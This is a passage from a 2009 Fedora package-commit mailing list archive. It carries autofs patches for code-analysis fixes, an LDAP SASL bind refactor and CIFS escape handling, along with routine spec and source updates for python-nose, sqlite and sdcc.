  pthread_attr_destroy() to be called with a NULL pointer.
- we could end up with a non-null result pointer after a failed call to
  ldap_search_s(), well maybe, so check for it anyway.

Signed-off-by: Jeff Moyer <jmoyer at redhat.com>
---

 CHANGELOG              |    1 +
 daemon/direct.c        |    2 +-
 daemon/state.c         |    5 +++--
 lib/alarm.c            |    3 ++-
 lib/defaults.c         |    1 -
 lib/master.c           |    6 +-----
 modules/cyrus-sasl.c   |    2 +-
 modules/lookup_ldap.c  |   13 +++++++++++--
 modules/mount_autofs.c |    2 +-
 modules/parse_sun.c    |    3 +--
 redhat/autofs.init.in  |    2 +-
 11 files changed, 23 insertions(+), 17 deletions(-)


diff --git a/CHANGELOG b/CHANGELOG
index 23351c8..b9b1602 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -5,6 +5,7 @@
 - add mount wait timeout parameter.
 - special case cifs escapes.
 - fix compile fail with when LDAP is excluded.
+- more code analysis corrections (and fix a typo in an init script).
 
 03/09/2009 autofs-5.0.5
 -----------------------
diff --git a/daemon/direct.c b/daemon/direct.c
index 0c78627..9b4e57b 100644
--- a/daemon/direct.c
+++ b/daemon/direct.c
@@ -1245,7 +1245,7 @@ static void *do_mount_direct(void *arg)
 	}
 
 	status = stat(mt.name, &st);
-	if (!S_ISDIR(st.st_mode) || st.st_dev != mt.dev) {
+	if (status != 0 || !S_ISDIR(st.st_mode) || st.st_dev != mt.dev) {
 		error(ap->logopt,
 		     "direct trigger not valid or already mounted %s",
 		     mt.name);
diff --git a/daemon/state.c b/daemon/state.c
index 71af46a..27bc6de 100644
--- a/daemon/state.c
+++ b/daemon/state.c
@@ -160,7 +160,7 @@ void expire_cleanup(void *arg)
 			 * been signaled to shutdown.
 			 */
 			rv = ops->askumount(ap->logopt, ap->ioctlfd, &idle);
-			if (!idle && !ap->shutdown) {
+			if (!rv && !idle && !ap->shutdown) {
 				next = ST_READY;
 				if (!ap->submount)
 					alarm_add(ap, ap->exp_runfreq);
@@ -1198,7 +1198,8 @@ int st_start_handler(void)
 
 	status = pthread_create(&thid, pattrs, st_queue_handler, NULL);
 
-	pthread_attr_destroy(pattrs);
+	if (pattrs)
+		pthread_attr_destroy(pattrs);
 
 	return !status;
 }
diff --git a/lib/alarm.c b/lib/alarm.c
index 46df38a..f403d8f 100755
--- a/lib/alarm.c
+++ b/lib/alarm.c
@@ -239,7 +239,8 @@ int alarm_start_handler(void)
 
 	status = pthread_create(&thid, pattrs, alarm_handler, NULL);
 
-	pthread_attr_destroy(pattrs);
+	if (pattrs)
+		pthread_attr_destroy(pattrs);
 
 	return !status;
 }
diff --git a/lib/defaults.c b/lib/defaults.c
index 2204b18..cb8354d 100644
--- a/lib/defaults.c
+++ b/lib/defaults.c
@@ -534,7 +534,6 @@ void defaults_free_searchdns(struct ldap_searchdn *sdn)
 	struct ldap_searchdn *this = sdn;
 	struct ldap_searchdn *next;
 
-	next = this;
 	while (this) {
 		next = this->next;
 		free(this->basedn);
diff --git a/lib/master.c b/lib/master.c
index e43f835..8455f40 100644
--- a/lib/master.c
+++ b/lib/master.c
@@ -152,7 +152,7 @@ master_add_map_source(struct master_mapent *entry,
 {
 	struct map_source *source;
 	char *ntype, *nformat;
-	const char **tmpargv, *name = NULL;
+	const char **tmpargv;
 
 	source = malloc(sizeof(struct map_source));
 	if (!source)
@@ -188,10 +188,6 @@ master_add_map_source(struct master_mapent *entry,
 	source->argc = argc;
 	source->argv = tmpargv;
 
-	/* Can be NULL for "hosts" map */
-	if (argv)
-		name = argv[0];
-
 	master_source_writelock(entry);
 
 	if (!entry->maps)
diff --git a/modules/cyrus-sasl.c b/modules/cyrus-sasl.c
index 828143e..92e2226 100644
--- a/modules/cyrus-sasl.c
+++ b/modules/cyrus-sasl.c
@@ -911,7 +911,7 @@ void autofs_sasl_dispose(struct lookup_context *ctxt)
 {
 	int status, ret;
 
-	if (ctxt && ctxt->sasl_conn) {
+	if (ctxt->sasl_conn) {
 		sasl_dispose(&ctxt->sasl_conn);
 		ctxt->sasl_conn = NULL;
 	}
diff --git a/modules/lookup_ldap.c b/modules/lookup_ldap.c
index f1fb9ce..d8bd169 100644
--- a/modules/lookup_ldap.c
+++ b/modules/lookup_ldap.c
@@ -389,13 +389,16 @@ static int get_query_dn(unsigned logopt, LDAP *ldap, struct lookup_context *ctxt
 				error(logopt,
 				      MODPREFIX "query failed for search dn %s: %s",
 				      this->basedn, ldap_err2string(rv));
+				if (result) {
+					ldap_msgfree(result);
+					result = NULL;
+				}
 			}
 
 			this = this->next;
 		}
 
 		if (!result) {
-			ldap_msgfree(result);
 			error(logopt,
 			      MODPREFIX "failed to find query dn under search base dns");
 			free(query);
@@ -1954,6 +1957,12 @@ do_paged:
 		sp->cookie = NULL;
 	}
 
+	if (rv != LDAP_SUCCESS) {
+		debug(ap->logopt,
+		      MODPREFIX "ldap_parse_result failed with %d", rv);
+		goto out_free;
+	}
+
 	/*
 	 * Parse the page control returned to get the cookie and
 	 * determine whether there are more pages.
@@ -1970,8 +1979,8 @@ do_paged:
 	if (returnedControls)
 		ldap_controls_free(returnedControls);
 
+out_free:
 	ldap_control_free(pageControl);
-
 	return rv;
 }
 
diff --git a/modules/mount_autofs.c b/modules/mount_autofs.c
index afb1859..2a5d860 100644
--- a/modules/mount_autofs.c
+++ b/modules/mount_autofs.c
@@ -119,7 +119,7 @@ int mount_mount(struct autofs_point *ap, const char *root, const char *name,
 			else if (strncmp(cp, "timeout=", 8) == 0) {
 				char *val = strchr(cp, '=');
 				unsigned tout;
-				if (val++) {
+				if (val) {
 					int ret = sscanf(cp, "timeout=%u", &tout);
 					if (ret)
 						timeout = tout;
diff --git a/modules/parse_sun.c b/modules/parse_sun.c
index db36ae2..921daf4 100644
--- a/modules/parse_sun.c
+++ b/modules/parse_sun.c
@@ -1334,7 +1334,7 @@ int parse_mount(struct autofs_point *ap, const char *name,
 	char *pmapent, *options;
 	const char *p;
 	int mapent_len, rv = 0;
-	int optlen, cur_state;
+	int cur_state;
 	int slashify = ctxt->slashify_colons;
 	unsigned int append_options;
 
@@ -1389,7 +1389,6 @@ int parse_mount(struct autofs_point *ap, const char *name,
 		logerr(MODPREFIX "strdup: %s", estr);
 		return 1;
 	}
-	optlen = strlen(options);
 
 	p = skipspace(pmapent);
 
diff --git a/redhat/autofs.init.in b/redhat/autofs.init.in
index fded1d8..806302b 100644
--- a/redhat/autofs.init.in
+++ b/redhat/autofs.init.in
@@ -172,7 +172,7 @@ case "$1" in
 		fi
 		;;
 	*)
-		echo $"Usage: $0 {start|forcestart|stop|status|restart|orcerestart|reload|condrestart}"
+		echo $"Usage: $0 {start|forcestart|stop|status|restart|forcerestart|reload|condrestart}"
 		exit 1;
 		;;
 esac

autofs-5.0.5-refactor-ldap-sasl-bind.patch:
 CHANGELOG             |    1 
 modules/cyrus-sasl.c  |   55 ++++++++++++++++++---------------------------
 modules/lookup_ldap.c |   60 --------------------------------------------------
 3 files changed, 23 insertions(+), 93 deletions(-)

--- NEW FILE autofs-5.0.5-refactor-ldap-sasl-bind.patch ---
autofs-5.0.5 - refactor ldap sasl bind

From: Ian Kent <raven at themaw.net>

During the sasl authentication (and possible authentication method
selection) we establish a connection and then dispose of it and then
authenticate again. This is a little inefficient but some servers
don't like a second authentication using the same LDAP handle and
authentication fails when it should succeed. We should use the
authentication connection once we get it and not perform another
later.

Also fixed with this patch. If a server returns a set of
authentication mechanisms that all require authentication, then the
connection pointer is returned to the caller uninitialized (reported
and fix provided by Jeff Moyer).
---

 CHANGELOG             |    1 +
 modules/cyrus-sasl.c  |   55 ++++++++++++++++++---------------------------
 modules/lookup_ldap.c |   60 -------------------------------------------------
 3 files changed, 23 insertions(+), 93 deletions(-)


diff --git a/CHANGELOG b/CHANGELOG
index 674a48b..5adcca5 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,6 +1,7 @@
 ??/??/20?? autofs-5.0.6
 -----------------------
 - fix included map read fail handling.
+- refactor ldap sasl bind handling.
 
 03/09/2009 autofs-5.0.5
 -----------------------
diff --git a/modules/cyrus-sasl.c b/modules/cyrus-sasl.c
index 04001d0..828143e 100644
--- a/modules/cyrus-sasl.c
+++ b/modules/cyrus-sasl.c
@@ -87,8 +87,8 @@ static sasl_callback_t callbacks[] = {
 	{ SASL_CB_LIST_END, NULL, NULL },
 };
 
-static char *sasl_auth_id, *sasl_auth_secret;
-sasl_secret_t *sasl_secret;
+static char *sasl_auth_id = NULL;
+static char *sasl_auth_secret = NULL;
 
 static int
 sasl_log_func(void *context, int level, const char *message)
@@ -798,7 +798,7 @@ sasl_bind_mech(unsigned logopt, LDAP *ldap, struct lookup_context *ctxt, const c
 sasl_conn_t *
 sasl_choose_mech(unsigned logopt, LDAP *ldap, struct lookup_context *ctxt)
 {
-	sasl_conn_t *conn;
+	sasl_conn_t *conn = NULL;
 	int authenticated;
 	int i;
 	char **mechanisms;
@@ -845,22 +845,6 @@ sasl_choose_mech(unsigned logopt, LDAP *ldap, struct lookup_context *ctxt)
 	return conn;
 }
 
-int
-autofs_sasl_bind(unsigned logopt, LDAP *ldap, struct lookup_context *ctxt)
-{
-	sasl_conn_t *conn;
-
-	if (!ctxt->sasl_mech)
-		return -1;
-
-	conn = sasl_bind_mech(logopt, ldap, ctxt, ctxt->sasl_mech);
-	if (!conn)
-		return -1;
-
-	ctxt->sasl_conn = conn;
-	return 0;
-}
-
 /*
  *  Routine called when unbinding an ldap connection.
  */
@@ -883,35 +867,40 @@ autofs_sasl_unbind(struct lookup_context *ctxt)
  * -1  -  Failure
  */
 int
-autofs_sasl_init(unsigned logopt, LDAP *ldap, struct lookup_context *ctxt)
+autofs_sasl_bind(unsigned logopt, LDAP *ldap, struct lookup_context *ctxt)
 {
-	sasl_conn_t *conn;
+	sasl_conn_t *conn = NULL;
+
+	/* If we already have a connection use it */
+	if (ctxt->sasl_conn)
+		return 0;
 
 	sasl_auth_id = ctxt->user;
 	sasl_auth_secret = ctxt->secret;
 
+	if (ctxt->auth_required & LDAP_AUTH_AUTODETECT) {
+		if (ctxt->sasl_mech) {
+			free(ctxt->sasl_mech);
+			ctxt->sasl_mech = NULL;
+		}
+	}
+
 	/*
 	 *  If LDAP_AUTH_AUTODETECT is set, it means that there was no
 	 *  mechanism specified in the configuration file or auto
 	 *  selection has been requested, so try to auto-select an
 	 *  auth mechanism.
 	 */
-	if (!(ctxt->auth_required & LDAP_AUTH_AUTODETECT))
+	if (ctxt->sasl_mech)
 		conn = sasl_bind_mech(logopt, ldap, ctxt, ctxt->sasl_mech);
-	else {
-		if (ctxt->sasl_mech) {
-			free(ctxt->sasl_mech);
-			ctxt->sasl_mech = NULL;
-		}
+	else
 		conn = sasl_choose_mech(logopt, ldap, ctxt);
-	}
 
-	if (conn) {
-		sasl_dispose(&conn);
-		return 0;
-	}
+	if (!conn)
+		return -1;
 
-	return -1;
+	ctxt->sasl_conn = conn;
+	return 0;
 }
 
 /*
diff --git a/modules/lookup_ldap.c b/modules/lookup_ldap.c
index 2ecf5fe..f1fb9ce 100644
--- a/modules/lookup_ldap.c
+++ b/modules/lookup_ldap.c
@@ -59,7 +59,6 @@ struct ldap_search_params {
 	time_t age;
 };
 
-static LDAP *auth_init(unsigned logopt, const char *, struct lookup_context *);
 static int decode_percent_hack(const char *, char **);
 
 #ifndef HAVE_LDAP_CREATE_PAGE_CONTROL
@@ -600,33 +599,6 @@ static LDAP *connect_to_server(unsigned logopt, const char *uri, struct lookup_c
 {
 	LDAP *ldap;
 
-#ifdef WITH_SASL
-	/*
-	 * Determine which authentication mechanism to use if we require
-	 * authentication.
-	 */
-	if (ctxt->auth_required & (LDAP_AUTH_REQUIRED|LDAP_AUTH_AUTODETECT)) {
-		ldap = auth_init(logopt, uri, ctxt);
-		if (!ldap && ctxt->auth_required & LDAP_AUTH_AUTODETECT)
-			info(logopt,
-			     "no authentication mechanisms auto detected.");
-		if (!ldap) {
-			error(logopt, MODPREFIX
-			      "cannot initialize authentication setup");
-			return NULL;
-		}
-
-		if (!do_bind(logopt, ldap, uri, ctxt)) {
-			unbind_ldap_connection(logopt, ldap, ctxt);
-			autofs_sasl_dispose(ctxt);
-			error(logopt, MODPREFIX "cannot bind to server");
-			return NULL;
-		}
-
-		return ldap;
-	}
-#endif
-
 	ldap = do_connect(logopt, uri, ctxt);
 	if (!ldap) {
 		warn(logopt,
@@ -1074,38 +1046,6 @@ out:
 
 	return ret;
 }
-
-/*
- *  Reads in the xml configuration file and parses out the relevant
- *  information.  If there is no configuration file, then we fall back to
- *  trying all supported authentication mechanisms until one works.
- *
- *  Returns ldap connection on success, with authtype, user and secret
- *  filled in as appropriate.  Returns NULL on failre.
- */
-static LDAP *auth_init(unsigned logopt, const char *uri, struct lookup_context *ctxt)
-{
-	int ret;
-	LDAP *ldap;
-
-	ldap = init_ldap_connection(logopt, uri, ctxt);
-	if (!ldap)
-		return NULL;
-
-	/*
-	 *  Initialize the sasl library.  It is okay if user and secret
-	 *  are NULL, here.
-	 *
-	 *  The autofs_sasl_init routine will figure out which mechamism
-	 *  to use. If kerberos is used, it will also take care to initialize
-	 *  the credential cache and the client and service principals.
-	 */
-	ret = autofs_sasl_init(logopt, ldap, ctxt);
-	if (ret)
-		return NULL;
-
-	return ldap;
-}
 #endif
 
 /*

autofs-5.0.5-special-case-cifs-escapes.patch:
 CHANGELOG               |    1 +
 modules/mount_generic.c |   36 ++++++++++++++++++++++++++++++------
 2 files changed, 31 insertions(+), 6 deletions(-)

--- NEW FILE autofs-5.0.5-special-case-cifs-escapes.patch ---
autofs-5.0.5 - special case cifs escapes

From: Ian Kent <raven at themaw.net>

Since "\" is a valid seperator for cifs shares it can't be used to escape
characters in the share name passed to mount.cifs. So we have no choice
but to require that the seperator we use is "/" and de-quote the string
before sending it to mount.cifs.
---

 CHANGELOG               |    1 +
 modules/mount_generic.c |   36 ++++++++++++++++++++++++++++++------
 2 files changed, 31 insertions(+), 6 deletions(-)


diff --git a/CHANGELOG b/CHANGELOG
index fadb229..671c979 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -3,6 +3,7 @@
 - fix included map read fail handling.
 - refactor ldap sasl bind handling.
 - add mount wait timeout parameter.
+- special case cifs escapes.
 
 03/09/2009 autofs-5.0.5
 -----------------------
diff --git a/modules/mount_generic.c b/modules/mount_generic.c
index 8edad8b..da85d1a 100644
--- a/modules/mount_generic.c
+++ b/modules/mount_generic.c
@@ -39,6 +39,7 @@ int mount_mount(struct autofs_point *ap, const char *root, const char *name, int
 {
 	char fullpath[PATH_MAX];
 	char buf[MAX_ERR_BUF];
+	char *loc;
 	int err;
 	int len, status, existed = 1;
 
@@ -74,22 +75,44 @@ int mount_mount(struct autofs_point *ap, const char *root, const char *name, int
 	if (!status)
 		existed = 0;
 
+	/*
+	 * Special case quoting for cifs share names.
+	 *
+	 * Since "\" is a valid seperator for cifs shares it can't be
+	 * used to escape characters in the share name passed to
+	 * mount.cifs. So we have no choice but to require that the
+	 * seperator we use is "/" and de-quote the string before
+	 * sending it to mount.cifs.
+	 */
+	loc = NULL;
+	if (strcmp(fstype, "cifs"))
+		loc = strdup(what);
+	else
+		loc = dequote(what, strlen(what), ap->logopt);
+	if (!loc) {
+		error(ap->logopt,
+		      MODPREFIX "failed to alloc buffer for mount location");
+		return 1;
+	}
+
 	if (options && options[0]) {
 		debug(ap->logopt,
 		      MODPREFIX "calling mount -t %s " SLOPPY "-o %s %s %s",
-		      fstype, options, what, fullpath);
+		      fstype, options, loc, fullpath);
 
 		err = spawn_mount(ap->logopt, "-t", fstype,
-			     SLOPPYOPT "-o", options, what, fullpath, NULL);
+			     SLOPPYOPT "-o", options, loc, fullpath, NULL);
 	} else {
 		debug(ap->logopt, MODPREFIX "calling mount -t %s %s %s",
-		      fstype, what, fullpath);
-		err = spawn_mount(ap->logopt, "-t", fstype, what, fullpath, NULL);
+		      fstype, loc, fullpath);
+		err = spawn_mount(ap->logopt, "-t", fstype, loc, fullpath, NULL);
 	}
 
 	if (err) {
 		info(ap->logopt, MODPREFIX "failed to mount %s (type %s) on %s",
-		     what, fstype, fullpath);
+		     loc, fstype, fullpath);
+
+		free(loc);
 
 		if (ap->type != LKP_INDIRECT)
 			return 1;
@@ -100,7 +123,8 @@ int mount_mount(struct autofs_point *ap, const char *root, const char *name, int
 		return 1;
 	} else {
 		info(ap->logopt, MODPREFIX "mounted %s type %s on %s",
-		    what, fstype, fullpath);
+		     loc, fstype, fullpath);
+		free(loc);
 		return 0;
 	}
 }


Index: autofs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/autofs/devel/autofs.spec,v
retrieving revision 1.288
retrieving revision 1.289
diff -u -p -r1.288 -r1.289
--- autofs.spec	4 Sep 2009 04:53:05 -0000	1.288
+++ autofs.spec	6 Oct 2009 05:23:13 -0000	1.289
@@ -4,12 +4,19 @@
 Summary: A tool for automatically mounting and unmounting filesystems
 Name: autofs
 Version: 5.0.5
-Release: 1%{?dist}
+Release: 2%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: System Environment/Daemons
 URL: http://wiki.autofs.net/
 Source: ftp://ftp.kernel.org/pub/linux/daemons/autofs/v5/autofs-%{version}.tar.bz2
+Patch1: autofs-5.0.5-fix-included-map-read-fail-handling.patch
+Patch2: autofs-5.0.5-refactor-ldap-sasl-bind.patch
+Patch3: autofs-5.0.4-add-mount-wait-parameter.patch
+Patch4: autofs-5.0.5-special-case-cifs-escapes.patch
+Patch5: autofs-5.0.5-fix-libxml2-workaround-configure.patch
+Patch6: autofs-5.0.5-more-code-analysis-corrections.patch
+Patch7: autofs-5.0.5-fix-backwards-ifndef-INET6.patch
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: autoconf, hesiod-devel, openldap-devel, bison, flex, libxml2-devel, cyrus-sasl-devel, openssl-devel module-init-tools util-linux nfs-utils e2fsprogs libtirpc-devel
 Requires: kernel >= 2.6.17
@@ -51,6 +58,13 @@ inkludera n?tfilsystem, CD-ROM, floppyd
 %prep
 %setup -q
 echo %{version}-%{release} > .version
+%patch1 -p1
+%patch2 -p1
+%patch3 -p1
+%patch4 -p1
+%patch5 -p1
+%patch6 -p1
+%patch7 -p1
 
 %build
 #CFLAGS="$RPM_OPT_FLAGS" ./configure --prefix=/usr --libdir=%{_libdir}
@@ -103,6 +117,17 @@ fi
 %{_libdir}/autofs/
 
 %changelog
+* Tue Oct 6 2009 Ian Kent <kent at redhat.com> - 1:5.0.5-2
+- fix included map read fail handling.
+- refactor ldap sasl authentication bind to eliminate extra connect
+  causing some servers to reject the request. 
+- add mount wait parameter to allow timeout of mount requests to
+  unresponsive servers.
+- special case cifs escape handling.
+- fix libxml2 workaround configure.
+- more code analysis corrections (and fix a typo in an init script).
+- fix backwards #ifndef INET6.
+
 * Fri Sep 4 2009 Ian Kent <ikent at redhat.com> - 1:5.0.5-1
 - update source to latest upstream version.
   - this is essentially a consolidation of the patches already in this rpm.



From lmacken at fedoraproject.org  Tue Oct  6 06:15:11 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Tue,  6 Oct 2009 06:15:11 +0000 (UTC)
Subject: rpms/python-nose/devel .cvsignore, 1.12, 1.13 python-nose.spec, 1.17,
	1.18 sources, 1.12, 1.13
Message-ID: <20091006061511.532CC11C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-nose/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5786

Modified Files:
	.cvsignore python-nose.spec sources 
Log Message:
Update to 0.11.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-nose/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	30 Nov 2008 02:48:42 -0000	1.12
+++ .cvsignore	6 Oct 2009 06:15:08 -0000	1.13
@@ -1 +1 @@
-nose-0.10.4.tar.gz
+nose-0.11.1.tar.gz


Index: python-nose.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-nose/devel/python-nose.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- python-nose.spec	26 Jul 2009 20:44:26 -0000	1.17
+++ python-nose.spec	6 Oct 2009 06:15:09 -0000	1.18
@@ -2,8 +2,8 @@
 %{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
 
 Name:           python-nose
-Version:        0.10.4
-Release:        3%{?dist}
+Version:        0.11.1
+Release:        1%{?dist}
 Summary:        A discovery-based unittest extension for Python
 
 Group:          Development/Languages
@@ -47,6 +47,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/nose
 
 %changelog
+* Mon Oct 05 2009 Luke Macken <lmacken at redhat.com> - 0.11.1-1
+- Update to 0.11.1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.10.4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-nose/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	30 Nov 2008 02:48:42 -0000	1.12
+++ sources	6 Oct 2009 06:15:09 -0000	1.13
@@ -1 +1 @@
-4b4aec226d03f1d8465336a88d7183c4  nose-0.10.4.tar.gz
+00789d016f81ec52f666f020c644447e  nose-0.11.1.tar.gz



From lmacken at fedoraproject.org  Tue Oct  6 06:27:39 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Tue,  6 Oct 2009 06:27:39 +0000 (UTC)
Subject: rpms/python-nose/devel python-nose.spec,1.18,1.19
Message-ID: <20091006062739.B6DEC11C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-nose/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8153

Modified Files:
	python-nose.spec 
Log Message:
Include the new nosetests-2.6 script as well


Index: python-nose.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-nose/devel/python-nose.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- python-nose.spec	6 Oct 2009 06:15:09 -0000	1.18
+++ python-nose.spec	6 Oct 2009 06:27:39 -0000	1.19
@@ -3,7 +3,7 @@
 
 Name:           python-nose
 Version:        0.11.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A discovery-based unittest extension for Python
 
 Group:          Development/Languages
@@ -42,11 +42,15 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %doc AUTHORS CHANGELOG lgpl.txt NEWS README.txt
 %{_bindir}/nosetests
+%{_bindir}/nosetests-2.6
 %{_mandir}/man1/nosetests.1.gz
 %{python_sitelib}/nose-%{version}-py%{pyver}.egg-info
 %{python_sitelib}/nose
 
 %changelog
+* Mon Oct 05 2009 Luke Macken <lmacken at redhat.com> - 0.11.1-2
+- Include the new nosetests-2.6 script as well
+
 * Mon Oct 05 2009 Luke Macken <lmacken at redhat.com> - 0.11.1-1
 - Update to 0.11.1
 



From pmatilai at fedoraproject.org  Tue Oct  6 06:38:55 2009
From: pmatilai at fedoraproject.org (Panu Matilainen)
Date: Tue,  6 Oct 2009 06:38:55 +0000 (UTC)
Subject: rpms/sqlite/devel .cvsignore, 1.30, 1.31 sources, 1.30,
	1.31 sqlite.spec, 1.65,
	1.66 sqlite-3.6.13-iotest-nodirsync.patch, 1.1,
	NONE sqlite-3.6.17-tkt3951.patch, 1.1, NONE
Message-ID: <20091006063855.4CF3411C00C1@cvs1.fedora.phx.redhat.com>

Author: pmatilai

Update of /cvs/pkgs/rpms/sqlite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9830

Modified Files:
	.cvsignore sources sqlite.spec 
Removed Files:
	sqlite-3.6.13-iotest-nodirsync.patch 
	sqlite-3.6.17-tkt3951.patch 
Log Message:
- update to 3.6.18 (http://www.sqlite.org/releaselog/3_6_18.html)
- drop no longer needed test-disabler patches



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sqlite/devel/.cvsignore,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- .cvsignore	21 Aug 2009 10:23:52 -0000	1.30
+++ .cvsignore	6 Oct 2009 06:38:53 -0000	1.31
@@ -1,2 +1 @@
-sqlite-3.6.17.tar.gz
-sqlite_docs_3_6_17.zip
+sqlite_docs_3_6_18.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sqlite/devel/sources,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- sources	21 Aug 2009 10:23:52 -0000	1.30
+++ sources	6 Oct 2009 06:38:53 -0000	1.31
@@ -1,2 +1 @@
-f89f62afc765e08b3f0e47cdc47a15d4  sqlite-3.6.17.tar.gz
-a9081064aecf1a512aa0ca442803460c  sqlite_docs_3_6_17.zip
+4c5f5e694532c75841ffdef05cb1c117  sqlite_docs_3_6_18.zip


Index: sqlite.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sqlite/devel/sqlite.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- sqlite.spec	21 Aug 2009 10:23:52 -0000	1.65
+++ sqlite.spec	6 Oct 2009 06:38:53 -0000	1.66
@@ -4,7 +4,7 @@
 %bcond_without check
 
 # upstream doesn't provide separate -docs sources for all minor releases
-%define basever 3.6.17
+%define basever 3.6.18
 %define docver %(echo %{basever}|sed -e "s/\\./_/g")
 
 Summary: Library that implements an embeddable SQL database engine
@@ -20,10 +20,6 @@ Source1: http://www.sqlite.org/sqlite_do
 Patch1: sqlite-3.6.12-libdl.patch
 # Avoid insecure sprintf(), use a system path for lempar.c, patch from Debian
 Patch2: sqlite-3.6.6.2-lemon-snprintf.patch
-# Fixup io-test fsync expectations wrt SQLITE_DISABLE_DIRSYNC
-Patch3: sqlite-3.6.13-iotest-nodirsync.patch
-# Disable two tests failing on at least on x86_64, ticket #3951
-Patch4: sqlite-3.6.17-tkt3951.patch
 BuildRequires: ncurses-devel readline-devel glibc-devel
 # libdl patch needs
 BuildRequires: autoconf
@@ -94,8 +90,6 @@ This package contains the tcl modules fo
 %setup -q -a1
 %patch1 -p1 -b .libdl
 %patch2 -p1 -b .lemon-sprintf
-%patch3 -p1 -b .nodirsync
-%patch4 -p1 -b .tkt3951
 
 %build
 autoconf
@@ -178,6 +172,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Tue Oct 06 2009 Panu Matilainen <pmatilai at redhat.com> - 3.6.18-1
+- update to 3.6.18 (http://www.sqlite.org/releaselog/3_6_18.html)
+- drop no longer needed test-disabler patches
+
 * Fri Aug 21 2009 Panu Matilainen <pmatilai at redhat.com> - 3.6.17-1
 - update to 3.6.17 (http://www.sqlite.org/releaselog/3_6_17.html)
 - disable to failing tests until upstream fixes


--- sqlite-3.6.13-iotest-nodirsync.patch DELETED ---


--- sqlite-3.6.17-tkt3951.patch DELETED ---



From pmatilai at fedoraproject.org  Tue Oct  6 06:45:11 2009
From: pmatilai at fedoraproject.org (Panu Matilainen)
Date: Tue,  6 Oct 2009 06:45:11 +0000 (UTC)
Subject: rpms/sqlite/devel .cvsignore,1.31,1.32 sources,1.31,1.32
Message-ID: <20091006064511.4B82A11C00C1@cvs1.fedora.phx.redhat.com>

Author: pmatilai

Update of /cvs/pkgs/rpms/sqlite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11292

Modified Files:
	.cvsignore sources 
Log Message:
- gah, fuzzing with sources...



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sqlite/devel/.cvsignore,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- .cvsignore	6 Oct 2009 06:38:53 -0000	1.31
+++ .cvsignore	6 Oct 2009 06:45:10 -0000	1.32
@@ -1 +1,2 @@
 sqlite_docs_3_6_18.zip
+sqlite-3.6.18.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sqlite/devel/sources,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- sources	6 Oct 2009 06:38:53 -0000	1.31
+++ sources	6 Oct 2009 06:45:11 -0000	1.32
@@ -1 +1,2 @@
 4c5f5e694532c75841ffdef05cb1c117  sqlite_docs_3_6_18.zip
+54fa7782a56edf0bf6016a2548b86c4c  sqlite-3.6.18.tar.gz



From konradm at fedoraproject.org  Tue Oct  6 06:46:29 2009
From: konradm at fedoraproject.org (konradm)
Date: Tue,  6 Oct 2009 06:46:29 +0000 (UTC)
Subject: rpms/sdcc/F-10 sdcc-2.9.0-configure.diff, NONE,
	1.1 sdcc-2.9.0-patch-out-getline.diff, NONE,
	1.1 sdcc-2.9.0-r5476-fix-doublefree.diff, NONE,
	1.1 sdcc-2.9.0-r5508-fix-bug2805333.diff, NONE, 1.1 .cvsignore,
	1.3, 1.4 sdcc.spec, 1.9, 1.10 sources, 1.3, 1.4
Message-ID: <20091006064629.1308411C00C1@cvs1.fedora.phx.redhat.com>

Author: konradm

Update of /cvs/pkgs/rpms/sdcc/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11619

Modified Files:
	.cvsignore sdcc.spec sources 
Added Files:
	sdcc-2.9.0-configure.diff sdcc-2.9.0-patch-out-getline.diff 
	sdcc-2.9.0-r5476-fix-doublefree.diff 
	sdcc-2.9.0-r5508-fix-bug2805333.diff 
Log Message:
* Fri Sep 11 2009 Conrad Meyer <konrad at tylerc.org> - 2.9.0-5
- Fix a bug with single-bit types, logical NOT, and casting to char
